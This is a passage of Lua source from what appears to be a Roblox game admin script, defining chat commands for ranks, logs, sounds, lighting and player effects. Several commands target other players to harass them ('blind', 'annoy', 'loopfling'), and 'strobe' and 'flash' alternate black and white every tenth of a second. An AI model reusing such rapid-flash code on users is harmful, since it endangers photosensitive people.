6416 if RANK:IsSupremeOwner(Speaker) then
6417 if #Players > 0 then
6418 local Success = {}
6419 for _,Player in pairs(Players) do
6420 if not RANK:IsSupremeOwner(Player) then
6421 RANK:RemoveRank(Player)
6422 table.insert(Settings.Ranks.Owner, Player.Name)
6423 GUI:TellAdmin(Player)
6424 table.insert(Success, Player)
6425 end
6426 end
6427 REMOTE:SendHttpLog(Speaker.Name.." has ownered "..CORE:UnpackPlayers(Success), "INFORMATION")
6428 else
6429 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6430 if Player then
6431 local RankNum = RANK:ConvertRank(PlayerRank)
6432 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6433 if not RANK:IsSupremeOwner(Player) then
6434 RANK:RemoveRank(Player)
6435 table.insert(Settings.Ranks.Owner, Player)
6436 end
6437 end
6438 else
6439 RANK:RemoveRank(Arguments[1])
6440 table.insert(Settings.Ranks.Owner, Arguments[1])
6441 end
6442 end
6443 end
6444 end};
6445
6446 [{"admins", "adminlist"}] = {"", "Lists all admins in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6447 local TableStorage = {}
6448 for _,Obj in pairs(Settings.Ranks.Member) do table.insert(TableStorage, Obj..": Member") end
6449 for _,Obj in pairs(Settings.Ranks.Admin) do table.insert(TableStorage, Obj..": Admin") end
6450 for _,Obj in pairs(Settings.Ranks.Owner) do table.insert(TableStorage, "BOLD: "..Obj..": Owner") end
6451 GUI:ListGui(Speaker, "Admin List", TableStorage, 45961462)
6452 end};
6453
6454 [{"serveradmins", "sa"}] = {"", "Lists all admins in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
6455 local TableStorage = {}
6456 for _,Player in pairs(Server.Players:GetChildren()) do
6457 local ValidAdmin,PlayerRank = RANK:IsAdmin(Player)
6458 if ValidAdmin then
6459 if PlayerRank == "Owner" then
6460 table.insert(TableStorage, "BOLD: "..Player.Name..": Owner")
6461 else
6462 table.insert(TableStorage, Player.Name..": "..PlayerRank)
6463 end
6464 end
6465 end
6466 GUI:ListGui(Speaker, "Server admin List", TableStorage, 76198987)
6467 end};
6468
6469 [{"bans", "banlist"}] = {"", "Lists all players who've been banned", 0, "Member", false, function(Speaker, Rank, Arguments)
6470 GUI:ListGui(Speaker, "Ban List", Settings.Ranks.Banned, 163337795)
6471 end};
6472
6473 [{"crashes", "crashlist"}] = {"", "Lists all players who've been crashed", 0, "Member", false, function(Speaker, Rank, Arguments)
6474 GUI:ListGui(Speaker, "Crash List", Settings.Ranks.Crashed, 35480917)
6475 end};
6476
6477 [{"mutes", "muted", "mutelist"}] = {"", "Lists all players who've been muted", 0, "Member", false, function(Speaker, Rank, Arguments)
6478 GUI:ListGui(Speaker, "Mute List", Settings.Ranks.Muted, 202000870)
6479 end};
6480
6481 [{"exiles", "exilelist"}] = {"", "Lists all the exiled players(banned, crashed, muted) in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6482 local TableStorage = {}
6483 for _,Obj in pairs(Settings.Ranks.Banned) do table.insert(TableStorage, Obj..": Banned") end
6484 for _,Obj in pairs(Settings.Ranks.Crashed) do table.insert(TableStorage, Obj..": Crashed") end
6485 for _,Obj in pairs(Settings.Ranks.Muted) do table.insert(TableStorage, Obj..": Muted") end
6486 GUI:ListGui(Speaker, "Exile List", TableStorage, 132769258)
6487 end};
6488
6489 [{"ranked", "ranks", "ranklist"}] = {"", "Lists all the players ranked in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6490 local TableStorage = {}
6491 for PlayerRank,PlayerNames in pairs(Settings.Ranks) do
6492 for Num,PlayerName in pairs(PlayerNames) do
6493 if PlayerRank == "Owner" then
6494 table.insert(TableStorage, "BOLD: "..PlayerName..": Owner")
6495 else
6496 table.insert(TableStorage, PlayerName..": "..PlayerRank)
6497 end
6498 end
6499 end
6500 GUI:ListGui(Speaker, "Rank List", TableStorage, 21341765)
6501 end};
6502
6503 [{"logs", "commandlogs", "cmdlogs"}] = {"", "Lists all the logs of executed commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6504 GUI:ListGui(Speaker, "Command Logs", CORE:ReverseTable(CommandLogs), "Log")
6505 end};
6506
6507 [{"chatlogs"}] = {"", "Lists all the logs of players who've chatted", 0, "Admin", false, function(Speaker, Rank, Arguments)
6508 GUI:ListGui(Speaker, "Chat Logs", CORE:ReverseTable(ChatLogs), "Log")
6509 end};
6510
6511 [{"irclogs"}] = {"", "Lists all the logs of irc output", 0, "Admin", false, function(Speaker, Rank, Arguments)
6512 GUI:ListGui(Speaker, "IRC Logs", CORE:ReverseTable(IRC.Logs), "Log")
6513 end};
6514
6515 [{"exploitlogs"}] = {"", "Lists all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6516 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
6517 if type(ExploitLog) ~= "table" then ExploitLog = {} end
6518 GUI:ListGui(Speaker, "Exploit Logs", ExploitLog, "Log")
6519 end};
6520
6521 [{"clearlogs", "clearcommandlogs", "clearcmdlogs"}] = {"", "Clears all the logs of executed commands", 0, "Owner", false, function(Speaker, Rank, Arguments)
6522 CommandLogs = {}
6523 end};
6524
6525 [{"clearchatlogs"}] = {"", "Clears all the logs of players who've chatted", 0, "Owner", false, function(Speaker, Rank, Arguments)
6526 ChatLogs = {}
6527 end};
6528
6529 [{"clearirclogs"}] = {"", "Clears all the logs of irc output", 0, "Owner", false, function(Speaker, Rank, Arguments)
6530 IRC.Logs = {}
6531 end};
6532
6533 [{"clearalllogs", "resetlogs"}] = {"", "Clears ALL logs (Command, Chat, IRC) but not exploit logs", 0, "Owner", false, function(Speaker, Rank, Arguments)
6534 CommandLogs = {}
6535 ChatLogs = {}
6536 IRC.Logs = {}
6537 end};
6538
6539 [{"clearexploitlogs"}] = {"", "Clears all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6540 Server.GDS:SetAsync("ExploitLog", {})
6541 end};
6542
6543 [{"soundlist", "musiclist", "audiolist", "songs", "sounds", "musics", "audios"}] = {"", "Lists all the sounds in the global sound list", 0, "Member", false, function(Speaker, Rank, Arguments)
6544 local List,Correlate,SoundName = {},{},{}
6545 for Name,Info in pairs(SoundList) do
6546 local View = "Command Name: "..Name.." | Audio ID: "..Info[1].." | Full Name: "..Info[2]
6547 table.insert(List, View)
6548 Correlate[View] = Info[1]
6549 end
6550
6551 local CanClick = true
6552 if Rank == "Member" then CanClick = false end
6553 local Clicked = GUI:ListGui(Speaker, "Sound List", List, "Sound", CanClick)
6554 Clicked.Event:connect(function(ClickName)
6555 local OldSoundId = nil
6556 SOUND:StopGlobalSound()
6557 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
6558 SOUND:PlayGlobalSound(Correlate[ClickName])
6559 end
6560 end)
6561 end};
6562
6563 [{"syncsoundlist", "syncsounds", "syncaudiolist", "syncaudios", "syncmusiclist", "syncmusics"}] = {"", "Resyncs the global sound list to the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6564 SOUND:SyncSoundList(Speaker)
6565 end};
6566
6567 [{"cleart", "clearterrain", "cleant", "cleanterrain"}] = {"", "Clears all terrain from the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6568 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean Terrain?", "Do you really want to clear all terrain in the server? If there is a lot of terrain this can cause major lag. Continue?", "Question", {"Yes", "No"})
6569 if Answer == "Yes" then
6570 Server.Workspace.Terrain:Clear()
6571 end
6572 end};
6573
6574 [{"clearstamp", "clearstamper", "cleanstamp", "cleanstamper"}] = {"", "Clears all items in workspace that came from the stamper tool (Not terrain)", 0, "Admin", false, function(Speaker, Rank, Arguments)
6575 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean All Stamper Objects?", "Do you really want to clear all stamper objects in the server, this will clean all bricks/models placed down by stamper and if there's a lot of them it can cause major lag? Continue?", "Question", {"Yes", "No"})
6576 if Answer == "Yes" then
6577 for _,Obj in pairs(Workspace:GetChildren()) do
6578 if Obj:FindFirstChild("RobloxStamper") and Obj:FindFirstChild("RobloxModel") then
6579 Obj:Destroy()
6580 end
6581 end
6582 end
6583 end};
6584
6585 [{"base", "baseplate", "newbase", "makebase", "newbaseplate", "makebaseplate"}] = {"", "Creates a baseplate inside the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6586 CORE:MakeBase()
6587 end};
6588
6589 [{"addsound", "addaudio", "addmusic"}] = {"num(ID) string", "Will add the song of num(ID) named string to the custom sound list of the game", 2, "Admin", false, function(Speaker, Rank, Arguments)
6590 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6591 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6592 CustomSounds = {}
6593 end
6594 if tostring(Arguments[1]) then
6595 local Request = MARKET:GetItemInfo(Arguments[1])
6596 if Request.AssetTypeId == 3 then
6597 table.insert(CustomSounds, {Arguments[2], Arguments[1]})
6598 SoundList[Arguments[2]] = {Arguments[1], Request.Name, Request.Creator.Name}
6599 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6600 GUI:SendHint(Speaker, "Sound Added to server sound list and for future servers.", 4)
6601 else
6602 GUI:SendMessage(Speaker, "Invalid", "Please make sure that your ID is an audio asset.", 4)
6603 end
6604 end
6605 end};
6606
6607 [{"removesound", "removeaudio", "removemusic"}] = {"string", "Will remove the sound string from the custom sound list of the game", 1, "Admin", false, function(Speaker, Rank, Arguments)
6608 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6609 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6610 CustomSounds = {}
6611 end
6612
6613 local Removed = {}
6614 for Num,Data in pairs(CustomSounds) do
6615 if string.sub(string.lower(Data[1]),1,#Arguments[1]) == string.lower(Arguments[1]) then
6616 table.insert(Removed, Data[1])
6617 table.remove(CustomSounds, Num)
6618 end
6619 end
6620
6621 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6622
6623 SOUND:SyncSoundList()
6624
6625 if #Removed > 0 then
6626 GUI:SendHint(Speaker, "Removed from custom sound list: "..STRING:UnpackArgs(Removed))
6627 else
6628 GUI:SendHint(Speaker, "Could not find sound "..Arguments[1].." in custom sound list")
6629 end
6630 end};
6631
6632 [{"clearsounds", "clearaudio", "clearmusic"}] = {"", "Clears all sounds in the custom sound list of the game", 0, "Admin", false, function(Speaker, Rank, Arguments)
6633 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clear All Sounds", "Would you like to clear all sounds from the custom Lua".."M".."od".."elMa".."ke".."r's sound list? This will clear all sounds from the ;addsound command and will affect all sounds in all of this game's servers. Are you sure you want to clear?(All default global sounds will remain)", "Question", {"Yes", "No"})
6634 if Answer == "Yes" then
6635 Server.GDS:SetAsync("MML Custom Sounds", {})
6636 SoundList = GlobalSoundList -- Reset to old sounds without having to re-sync!
6637 GUI:SendHint(Speaker, "All custom sounds have been removed", 4)
6638 end
6639 end};
6640
6641 [{"benchmark", "bench"}] = {"player", "Benchmarks player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6642 local Players = STRING:Scan(Arguments[1], Speaker)
6643 local SpeakerTesting = false
6644 for _,Player in pairs(Players) do
6645 if Player == Speaker then SpeakerTesting = true end
6646 if Player:FindFirstChild("Backpack") then coroutine.wrap(function()
6647 CORE:ExecuteResource("Benchmark", Player.Backpack, {["Admin"] = script})
6648 --wait(10)
6649 --GUI:SendMessage(Player, "Benchmark almost done", "Your client is cleaning up the mess made. Please wait until you are reset by your client to have results submitted", "Information", 10)
6650 end)() end
6651 end
6652 if SpeakerTesting == false then
6653 GUI:SendMessage(Speaker, "Benchmarking", "The player(s) are now being benchmarked. To view results say "..Settings.Prefix.."getbench player", "Information", 10)
6654 end
6655 end};
6656
6657 [{"getbench", "getbenchmark", "getbenches", "getbenchmarks"}] = {"player", "Gets benchmarks of player", 1, "Member", false, function(Speaker, Rank, Arguments)
6658 local Players = STRING:Scan(Arguments[1], Speaker)
6659 local Compile = {}
6660 for _,Player in pairs(Players) do
6661 local PlayerInfo = ClientInfo[Player.Name]
6662 if PlayerInfo then
6663 if PlayerInfo.Benchmark then
6664 table.insert(Compile, Player.Name..": "..PlayerInfo.Benchmark)
6665 else
6666 table.insert(Compile, Player.Name..": No score")
6667 end
6668 end
6669 end
6670 GUI:ListGui(Speaker, "Benchmarks", Compile, "Information")
6671 end};
6672
6673 [{"replicatecommand", "replicatecmd", "repcmd", "repcommand", "rc", "sudo"}] = {"player string[command]", "Executes string as a command on player as if they said it", 2, "Owner", false, function(Speaker, Rank, Arguments)
6674 local Players = STRING:Scan(Arguments[1], Speaker)
6675 for _,Player in pairs(Players) do
6676 CORE:Chatted(Arguments[2], Player, true)
6677 end
6678 end};
6679
6680 [{"virtexe", "virtualexe", "virtsudo", "virtualsudo", "vsudo", "vs"}] = {"string[Name] string[Rank] string[Command]", "Executes string[Command] on a vitual player named string[Name] with the rank string[Rank]", 3, "Owner", false, function(Speaker, Rank, Arguments)
6681 CORE:Chatted(Arguments[3], nil, true, Arguments[1], Arguments[2], RANK:IsSupremeOwner(Speaker))
6682 end};
6683
6684 [{"longneck", "lneck", "longn", "ln"}] = {"player", "Makes player have a long neck", 1, "Member", true, function(Speaker, Rank, Arguments)
6685 local Players = STRING:Scan(Arguments[1], Speaker)
6686 for _,Player in pairs(Players) do
6687 if Player.Character ~= nil then
6688 if Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") ~= nil then
6689 if Player.Character.Torso:FindFirstChild("Neck") then
6690 Player.Character.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6691 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6692 Neck = Instance.new("Part", Player.Character) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(Player.Character.Head.BrickColor)) Neck.Locked = true
6693 local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7)
6694 local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-2,0)
6695 end
6696 end
6697 end
6698 end
6699 end};
6700
6701 [{"nolongneck", "normalneck", "nolneck", "nolongn", "noln", "unlongneck", "unlneck", "unlongn", "unln", "shortneck"}] = {"player", "Makes player's neck normal sized", 1, "Member", true, function(Speaker, Rank, Arguments)
6702 local Players = STRING:Scan(Arguments[1], Speaker)
6703 for _,Player in pairs(Players) do
6704 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") then
6705 Player.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6706 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6707 end
6708 end
6709 end};
6710
6711 [{"fling"}] = {"player", "Flings player out of the map", 1, "Member", true, function(Speaker, Rank, Arguments)
6712 local Players = STRING:Scan(Arguments[1], Speaker)
6713 for _,Player in pairs(Players) do
6714 local _,RankNum = RANK:GetRank(Player)
6715 if RankNum <= RANK:ConvertRank(Rank) then
6716 CORE:FlingPlayer(Player)
6717 end
6718 end
6719 end};
6720
6721 [{"loopfling", "lfling", "loopf", "lf"}] = {"player", "Flings player out of the map over and over", 1, "Member", true, function(Speaker, Rank, Arguments)
6722 local Players = STRING:Scan(Arguments[1], Speaker)
6723 for _,Player in pairs(Players) do
6724 local _,RankNum = RANK:GetRank(Player)
6725 if RankNum <= RANK:ConvertRank(Rank) then
6726 Flings[Player.Name] = true
6727 CORE:FlingPlayer(Player)
6728 end
6729 end
6730 end};
6731
6732 [{"noloopfling", "unloopfling", "nofling", "unfling"}] = {"player", "Stops theloop fling on player", 1, "Member", true, function(Speaker, Rank, Arguments)
6733 local Players = STRING:Scan(Arguments[1], Speaker)
6734 for _,Player in pairs(Players) do
6735 local _,RankNum = RANK:GetRank(Player)
6736 if RankNum <= RANK:ConvertRank(Rank) then
6737 Flings[Player.Name] = nil
6738 end
6739 end
6740 end};
6741
6742 [{"nuke"}] = {"player", "Nukes player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6743 local Players = STRING:Scan(Arguments[1], Speaker)
6744 for _,Player in pairs(Players) do
6745 CORE:Nuke(Player)
6746 end
6747 end};
6748
6749 [{"beep", "annoy"}] = {"player", "Plays a beep sound to player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6750 local Players = STRING:Scan(Arguments[1], Speaker)
6751 for _,Player in pairs(Players) do
6752 Beeps[Player.Name] = true
6753 SOUND:BeepPlayer(Player)
6754 end
6755 end};
6756
6757 [{"nobeep", "unbeep", "noannoy", "unannoy"}] = {"player", "Stops beeping sound on player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6758 local Players = STRING:Scan(Arguments[1], Speaker)
6759 for _,Player in pairs(Players) do
6760 if Player.PlayerGui then
6761 Beeps[Player.Name] = nil
6762 for _,Obj in pairs(Player.PlayerGui:GetChildren()) do
6763 if Obj.Name == "Annoy" then
6764 Obj:Stop()
6765 Obj:Destroy()
6766 end
6767 end
6768 end
6769 end
6770 end};
6771
6772 [{"time"}] = {"number/string", "Sets the time to number/string(Ex: 9:00, noon)", 1, "Member", false, function(Speaker, Rank, Arguments)
6773 local Time = Arguments[1]
6774 if Time == "day" or Time == "noon" then Time = "12" end
6775 if Time == "night" or Time == "midnight" then Time = "0" end
6776 if Time == "dawn" or Time == "morning" then Time = "6:15" end
6777 if Time == "dusk" or Time == "evening" then Time = "17:45" end
6778 if Time == "afternoon" then Time = "15:30" end
6779 ypcall(function() Server.Lighting.TimeOfDay = Time end)
6780 end};
6781
6782 [{"product", "buy", "purchase", "prod", "place"}] = {"player number(ID)", "Prompts player to purchase item", 2, "Member", false, function(Speaker, Rank, Arguments)
6783 local Players = STRING:Scan(Arguments[1], Speaker)
6784 for _,Player in pairs(Players) do
6785 MARKET:PromptPurchase(Player, Arguments[2], Speaker)
6786 end
6787 end};
6788
6789 [{"gear"}] = {"player ID", "Gives player the gear with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6790 local AbuseMode = false
6791 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
6792 local Players = STRING:Scan(Arguments[1], Speaker)
6793 for _,Player in pairs(Players) do
6794 CORE:Insert(Arguments[2], Player.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
6795 end
6796 end};
6797
6798 [{"sword"}] = {"player", "Gives player a sword", 1, "Member", false, function(Speaker, Rank, Arguments)
6799 local Players = STRING:Scan(Arguments[1], Speaker)
6800 for _,Player in pairs(Players) do
6801 CORE:Insert(125013769, Player.Backpack, true)
6802 end
6803 end};
6804
6805 [{"accessory", "acs", "hat"}] = {"player ID", "Gives player the accessory with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6806 local Players = STRING:Scan(Arguments[1], Speaker)
6807 for _,Player in pairs(Players) do
6808 if Player.Character then
6809 CORE:Insert(Arguments[2], Player.Character, true, {"Accoutrement"})
6810 end
6811 end
6812 end};
6813
6814 [{"flash"}] = {"", "Flashes lighting", 0, "Member", false, function(Speaker, Rank, Arguments)
6815 CORE:ResetLighting()
6816 repeat
6817 Server.Lighting.Ambient = Color3.new(1,1,1)
6818 Server.Lighting.FogColor = Color3.new(1,1,1)
6819 Server.Lighting.Brightness = 1
6820 Server.Lighting.TimeOfDay = 14
6821 wait(0.1)
6822 Server.Lighting.Ambient = Color3.new(0,0,0)
6823 Server.Lighting.FogColor = Color3.new(0,0,0)
6824 Server.Lighting.Brightness = 0
6825 Server.Lighting.TimeOfDay = 0
6826 wait(0.1)
6827 until ModLighting == false
6828 end};
6829
6830 [{"disco", "party"}] = {"", "Changes the lighting so there's a disco party", 0, "Member", false, function(Speaker, Rank, Arguments)
6831 CORE:ResetLighting()
6832 repeat
6833 local Color = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
6834 Server.Lighting.Ambient = Color
6835 Server.Lighting.FogColor = Color
6836 Server.Lighting.TimeOfDay = 0
6837 Server.Lighting.FogEnd = 500
6838 wait(0.1)
6839 until ModLighting == false
6840 end};
6841
6842 [{"fixl", "fixlighting", "nodisco", "undisco", "noflash", "unflash"}] = {"", "Removes disco or flash effects", 0, "Member", false, function(Speaker, Rank, Arguments)
6843 CORE:FixLighting()
6844 end};
6845
6846 [{"strobe"}] = {"player", "Makes player's screen flash like a strobe", 1, "Member", false, function(Speaker, Rank, Arguments)
6847 local Players = STRING:Scan(Arguments[1], Speaker)
6848 for _,Player in pairs(Players) do
6849 if Player:FindFirstChild("PlayerGui") then
6850 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6851 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6852 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100
6853 coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(0,0,0) wait(0.1) Frame.BackgroundColor3 = Color3.new(1,1,1) wait(0.1) until not SG end)()
6854 end
6855 end
6856 end};
6857
6858 [{"nostrobe", "unstrobe", "noblind", "unblind"}] = {"player", "Clears the strobe effect from player's screen", 1, "Member", false, function(Speaker, Rank, Arguments)
6859 local Players = STRING:Scan(Arguments[1], Speaker)
6860 for _,Player in pairs(Players) do
6861 if Player:FindFirstChild("PlayerGui") then
6862 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6863 end
6864 end
6865 end};
6866
6867 [{"blind"}] = {"player", "Makes player unable to see", 1, "Member", false, function(Speaker, Rank, Arguments)
6868 local Players = STRING:Scan(Arguments[1], Speaker)
6869 for _,Player in pairs(Players) do
6870 if Player:FindFirstChild("PlayerGui") then
6871 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6872 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6873 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100 Frame.BackgroundColor3 = Color3.new(0,0,0)
6874 end
6875 end
6876 end};
6877
6878 [{"rejoin", "rj", "rej", "rjoin"}] = {"", "Makes yourself rejoin the server", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
6879 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(Speaker.UserId)
6880 if Suc then
6881 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Speaker)
6882 else
6883 Server.TS:Teleport(game.PlaceId, Speaker)
6884 end
6885 end};
6886
6887 [{"abuselist", "abusablecommands", "abusecmds", "ac"}] = {"", "Shows a list of abusable commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6888 GUI:ListGui(Speaker, "Abusable Commands", Settings.AbuseList, 2015506)
6889 end};
6890
6891 [{"addabuse", "makeabuse", "abusecmd", "abusecommand", "addabusable", "makeabusable", "abusablecmd", "abusablecommand"}] = {"string(command)", "Adds string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6892 local NewAbuse = Arguments[1]
6893 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6894 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6895 end
6896
6897 local Match = false
6898 for _,AbuseCmd in pairs(Settings.AbuseList) do
6899 if string.lower(AbuseCmd) == string.lower(NewAbuse) then
6900 Match = true
6901 break
6902 end
6903 end
6904 if not Match then
6905 table.insert(Settings.AbuseList, NewAbuse)
6906 GUI:MessageAdmins("New abusable command", Speaker.Name.." has made '"..NewAbuse.."' an abuseable command", "Check")
6907 else
6908 GUI:SendMessage(Speaker, "Command Exists", "RED This command matches another in the abuse list, therefore, will not be added", "Error")
6909 end
6910 CORE:SetAbuseCommands()
6911 end};
6912
6913 [{"removeabuse", "removeabuse", "removeabusecmd", "removeabusecommand", "removeabusable", "removeabusable", "removeabusablecmd", "removeabusablecommand", "noabuse", "unabuse", "noabusable", "unabusable"}] = {"string(command)", "Removes string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6914 local NewAbuse = Arguments[1]
6915 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6916 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6917 end
6918
6919 local Removed = false
6920 for Num,AbuseCmd in pairs(Settings.AbuseList) do
6921 if string.sub(string.lower(AbuseCmd), 1, #NewAbuse) == string.lower(NewAbuse) then
6922 Removed = true
6923 table.remove(Settings.AbuseList, Num)
6924 end
6925 end
6926 if Removed then
6927 GUI:MessageAdmins("Removed abusable command", Speaker.Name.." has removed '"..NewAbuse.."' from the abuse list", "Check")
6928 else
6929 GUI:SendMessage(Speaker, "Command not removed", "RED Could not find '"..NewAbuse.."' in abuse list", "Error")
6930 end
6931 CORE:SetAbuseCommands()
6932 end};
6933
6934 [{"god", "power"}] = {"player", "Gives player unlimited health", 1, "Member", false, function(Speaker, Rank, Arguments)
6935 local Players = STRING:Scan(Arguments[1], Speaker)
6936 for _,Player in pairs(Players) do
6937 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6938 Player.Character.Humanoid.MaxHealth = math.huge
6939 Player.Character.Humanoid.Health = math.huge
6940 end
6941 end
6942 end};
6943
6944 [{"heal", "nogod", "ungod", "nopower", "unpower"}] = {"player", "Resets health to full, undoes god effect(Doesn't mean there isn't God)", 1, "Member", false, function(Speaker, Rank, Arguments)
6945 local Players = STRING:Scan(Arguments[1], Speaker)
6946 for _,Player in pairs(Players) do
6947 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6948 if Player.Character.Humanoid.MaxHealth == math.huge then
6949 Player.Character.Humanoid.MaxHealth = 100
6950 Player.Character.Humanoid.Health = 100
6951 else
6952 Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth
6953 end
6954 end
6955 end
6956 end};
6957
6958 [{"loopheal"}] = {"player", "Loops player's health to full", 1, "Member", false, function(Speaker, Rank, Arguments)
6959 local Players = STRING:Scan(Arguments[1], Speaker)
6960 for _,Player in pairs(Players) do
6961 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6962 local Char = Player.Character
6963 repeat Char.Humanoid.Health = Char.Humanoid.MaxHealth wait() until not Char:FindFirstChild("Humanoid") or Char.Parent == nil or Char.Humanoid.Health == 0
6964 end
6965 end
6966 end};
6967
6968 [{"health"}] = {"player num", "Sets the health of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6969 if tonumber(Arguments[2]) then
6970 local Players = STRING:Scan(Arguments[1], Speaker)
6971 for _,Player in pairs(Players) do
6972 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6973 Player.Character.Humanoid.Health = Arguments[2]
6974 end
6975 end
6976 end
6977 end};
6978
6979 [{"speed", "ws", "walkspeed"}] = {"player num", "Sets the speed of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6980 if tonumber(Arguments[2]) then
6981 local Players = STRING:Scan(Arguments[1], Speaker)
6982 for _,Player in pairs(Players) do
6983 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6984 local Speed = tonumber(Arguments[2])
6985 if Speed then
6986 if Rank == "Member" then
6987 if Speed > 1000 then Speed = 1000
6988 elseif Speed < -1000 then Speed = -1000 end
6989 end
6990 Player.Character.Humanoid.WalkSpeed = Speed
6991 end
6992 end
6993 end
6994 end
6995 end};
6996
6997 [{"damage", "dmg"}] = {"player num", "Takes away num health from player", 2, "Member", false, function(Speaker, Rank, Arguments)
6998 if tonumber(Arguments[2]) then
6999 local Players = STRING:Scan(Arguments[1], Speaker)
7000 for _,Player in pairs(Players) do
7001 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7002 Player.Character.Humanoid.Health = Player.Character.Humanoid.Health - Arguments[2]
7003 end
7004 end
7005 end
7006 end};
7007
7008 [{"fly"}] = {"player", "Lets player be able to fly", 1, "Member", false, function(Speaker, Rank, Arguments)
7009 local Players = STRING:Scan(Arguments[1], Speaker)
7010 for _,Player in pairs(Players) do
7011 CORE:Fly(Player, 10000)
7012 end
7013 end};
7014
7015 [{"noclip", "noc"}] = {"player", "Lets player be able to noclip", 1, "Member", false, function(Speaker, Rank, Arguments)
7016 local Players = STRING:Scan(Arguments[1], Speaker)
7017 for _,Player in pairs(Players) do
7018 CORE:Fly(Player, 1000000)
7019 end
7020 end};
7021
7022 [{"nofly", "unfly", "clip", "nonoclip", "unnoclip"}] = {"player", "Removes fly or noclip effect", 1, "Member", false, function(Speaker, Rank, Arguments)
7023 local Players = STRING:Scan(Arguments[1], Speaker)
7024 for _,Player in pairs(Players) do
7025 if Player.Character then
7026 if Player.Character:FindFirstChild("StopMMLFly") then
7027 Player.Character.StopMMLFly:InvokeClient(Player)
7028 end
7029 end
7030 end
7031 end};
7032
7033 [{"clearcache", "clearc", "cc"}] = {"", "Clears cached objects such as market info and http local scripts", 0, "Owner", false, function(Speaker, Rank, Arguments)
7034 ScriptCache,MarketCache,CharacterCache,PackageCache = {},{},{},{}
7035 GUI:SendMessage(Speaker, "Cache Cleared", "Cache has been cleared successfully", "Check")
7036 end};
7037
7038 [{"give"}] = {"player string", "Gives player any tool found named string. Can also give build tools (basicbtools, btools, psbtools)", 2, "Member", false, function(Speaker, Rank, Arguments)
7039 local Players = STRING:Scan(Arguments[1], Speaker)
7040 for _,Player in pairs(Players) do
7041 CORE:GiveTools(Player, Arguments[2])
7042 end
7043 end};
7044
